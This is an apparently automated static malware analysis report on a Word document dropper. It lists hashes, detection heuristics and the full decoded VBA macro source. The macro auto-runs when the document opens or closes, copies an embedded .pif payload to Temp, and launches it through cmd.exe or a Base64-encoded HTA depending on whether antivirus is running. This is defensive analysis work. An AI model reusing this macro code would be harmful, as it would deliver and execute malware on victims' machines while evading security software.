Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9ea79e7036b293d6…

MALICIOUS

Office (OLE)

171.0 KB Created: 2018-03-21 11:47:00 Authoring application: Microsoft Office Word First seen: 2018-07-23
MD5: 970e3e702d5418f8f4be8e883bff49b3 SHA-1: 18f174568a7811d84baa3f5dc8c9a6c412090c31 SHA-256: 9ea79e7036b293d6a0023270957729dd21eaf73b738332f2ef73cd41d679f676
860 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample exploits CVE-2007-3899 in Microsoft Word, a known memory corruption vulnerability, to execute arbitrary code. The VBA macro within the document uses `WScript.Shell` and `CreateObject` to copy a dropped PIF file and execute it as a PE file, likely downloading a second-stage payload. The `Document_Open` macro also attempts to create an HTA file with a Base64 encoded payload, indicating an attempt to download and execute further malicious content.

Heuristics 22

  • CVE-2007-3899 — Microsoft Word malformed string memory corruption critical CVE likely CVE_2007_3899
    Word OLE document has the MS07-060 malformed-string exploit shape: a Word 97-family FIB points to a malformed DOP/string-table region with an abnormal INT_MAX run, inflated text counters, and exploit payload or Mdropper.Z campaign evidence.
  • Office EPRINT stream contains EMF object high CVE related OLE_EPRINT_EMF_OBJECT
    OLE ObjectPool contains an EPRINT stream with EMF data. This is rare in normal documents and is related Office object-delivery evidence when paired with exploit payload anomalies, but the malformed graphics record required for exact CVE attribution is not proven by this rule alone.
  • ClamAV: Doc.Dropper.Agent-6606510-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6606510-0
  • XOR-encoded strings (key 0x08) critical SC_XOR_ENCODED
    Found 3 Windows library/API name(s) XOR-encoded with single-byte key 0x08: 'LoadLibraryA', 'GetProcAddress', 'VirtualAlloc'
    Disassembly hidden — these bytes score as data, not coherent x86 code (4/12 branch targets land on an instruction boundary (33% coherence)).
  • Ole10Native package drops an auto-executable payload critical OFFICE_PACKAGE_RISKY_FILE
    OLE Package displayName or fullPath ends in a directly auto-executable extension (a runnable binary or a script the default shell host runs on double-click). Embedding such a payload inside an Office document has no benign authoring use — it is a malware-delivery dropper.
  • VBA macros detected medium 9 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell StrConv(DecodeBase64("Y21kLmV4ZSAvYyAgIHN0YXJ0IA=="), vbUnicode) & Environ("Temp") & "\6.pif", vbHide
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set wsh = VBA.CreateObject("WScript.Shell")
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
    Matched line in script
    Set myProg = GetObject("winmgmts:")
  • VBA Base64-decoded Shell command stager critical OLE_VBA_BASE64_SHELL_COMMAND_STAGER
    VBA auto-exec macro decodes Base64 string literals into command or script-launch text and executes the result with Shell. This catches cmd/cscript/PowerShell/VBS launchers hidden from plain keyword matching.
    Matched line in script
    Set myProg = GetObject("winmgmts:")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set wsh = VBA.CreateObject("WScript.Shell")
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set myProg = GetObject("winmgmts:")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    FileCopy Environ("Temp") & "\5C.pif", Environ("Temp") & "\6.exe"
  • Reference to CreateProcess API high SC_STR_CREATEPROCESS
    Reference to CreateProcess API
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Reference to LoadLibrary API high SC_STR_LOADLIBRARY
    Reference to LoadLibrary API
  • Reference to GetProcAddress API high SC_STR_GETPROCADDRESS
    Reference to GetProcAddress API
  • Reference to VirtualProtect API medium SC_STR_VIRTUALPROTECT
    Reference to VirtualProtect API
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3396 bytes
SHA-256: 8abe2907e287c9cbb545f6349aefe47a6758d55a1f02b1699064e8e3fcb3d9f9
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next
Application.DisplayAlerts = False
Dim Str As String

    Selection.MoveDown Unit:=wdScreen, Count:=7
    Selection.MoveDown Unit:=wdScreen, Count:=7
    Selection.MoveRight Unit:=wdCharacter, Count:=13
    Selection.TypeBackspace
    Selection.Copy

    
FileCopy Environ("Temp") & "\5C.pif", Environ("Temp") & "\6.exe"
FileCopy Environ("Temp") & "\5C.pif", Environ("Temp") & "\6.pif"
Selection.TypeBackspace
 Set d = New DataObject
    d.SetText " "
    d.PutInClipboard
    Selection.MoveUp Unit:=wdScreen, Count:=7
   Selection.MoveUp Unit:=wdScreen, Count:=7
    Selection.MoveLeft Unit:=wdCharacter, Count:=13
    Dim t As Date
    t = Now
    Do
        DoEvents
    Loop Until Now >= DateAdd("s", 3, t)


Call Module1.killo


End Sub

Private Sub Document_Close()

Dim myPrC, myProg
Set myProg = GetObject("winmgmts:")
Set myPrC = myProg.ExecQuery("SELECT * FROM Win32_Process")
For Each x In myPrC

 If x.Name = "bdagent.exe" Then
Open Environ("Temp") & "\1.hta" For Output As #1
  Print #1, StrConv(DecodeBase64("PGh0bWw+DQo8aGVhZD4NCiA8U0NSSVBUIExBTkdVQUdFPSJWQlNjcmlwdCI+DQogICAgICAgICAgV2luZG93Lk1vdmVUbyAtMzIwMDAsIC0zMjAwMA0KICAgICA8L1NDUklQVD4NCiAgICA8dGl0bGU+QXBwbGljYXRpb24gRXhlY3V0ZXI8L3RpdGxlPg0KICAgIDxIVEE6QVBQTElDQVRJT04gSUQ9Im9NeUFwcCIgDQogICAgICAgIEFQUExJQ0FUSU9OTkFNRT0iQXBwbGljYXRpb24gRXhlY3V0ZXIiIA0KICAgICAgICBCT1JERVI9Im5vIg0KICAgICAgICBDQVBUSU9OPSJubyINCiAgICAgICAgU0hPV0lOVEFTS0JBUj0ieWVzIg0KICAgICAgICBTSU5HTEVJTlNUQU5DRT0ieWVzIg0KICAgICAgICBTWVNNRU5VPSJ5ZXMiDQogICAgICAgIFNDUk9MTD0ibm8i"), vbUnicode)
  Print #1, StrConv(DecodeBase64("IFdJTkRPV1NUQVRFPSJub3JtYWwiPg0KICAgIDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQogICAgDQogICAgICAgIFdzaFNoZWxsID0gbmV3IEFjdGl2ZVhPYmplY3QoIldTY3JpcHQuU2hlbGwiKTsNCiAgICAgICAgV3NoU2hlbGwuUnVuKCI2LmV4ZSIsIDEsIGZhbHNlKTsNCiAgICAgICAgDQogICAgPC9zY3JpcHQ+DQogPFNDUklQVCBMQU5HVUFHRT0iVkJTY3JpcHQiPg0KICAgICAgICAgIFdpbmRvdy5DbG9zZQ0KICAgICA8L1NDUklQVD4NCjwvaGVhZD4NCjxib2R5Pg0KICAgDQo8L2JvZHk+DQo8L2h0bWw+DQo="), vbUnicode)
  Close #1
  
Set wsh = VBA.CreateObject("WScript.Shell")
Dim waitOnReturn As Boolean: waitOnReturn = True
Dim windowStyle As Integer: windowStyle = 1
ChDir Environ("Temp")

wsh.Run Environ("Temp") & "\1.hta", 0, False
Exit Sub
   End If
Next





Shell StrConv(DecodeBase64("Y21kLmV4ZSAvYyAgIHN0YXJ0IA=="), vbUnicode) & Environ("Temp") & "\6.pif", vbHide


End Sub

Private Function DecodeBase64(ByVal strData As String) As Byte()

 

    Dim objXML As MSXML2.DOMDocument
    Dim objNode As MSXML2.IXMLDOMElement
    

    Set objXML = New MSXML2.DOMDocument
    Set objNode = objXML.createElement("b64")
    objNode.dataType = "bin.base64"
    objNode.Text = strData
    DecodeBase64 = objNode.nodeTypedValue
    
    Set objNode = Nothing
    Set objXML = Nothing

 

End Function









Attribute VB_Name = "Module1"
Sub killo()
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatXMLDocument
Application.Quit
End Sub
ole10native_00.bin ole-package OLE Ole10Native stream: ObjectPool/_1592747718/Ole10Native 56084 bytes
SHA-256: ad71b3dccc73d332a1b2d861744061e25809d43ef5d4cf9c857111526e2f84d4
ole10native_00_5C.pif ole-package-payload OLE Ole10Native payload: ObjectPool/_1592747718/Ole10Native; display_name=5C.pif; full_path=C:\Users\win7home\AppData\Local\Temp\5C.pif; temp_path=; def_file= 55808 bytes
SHA-256: f219305714330e9d06f39c334efa40c7014fe735b6999eacf5cf7936c623cc8c

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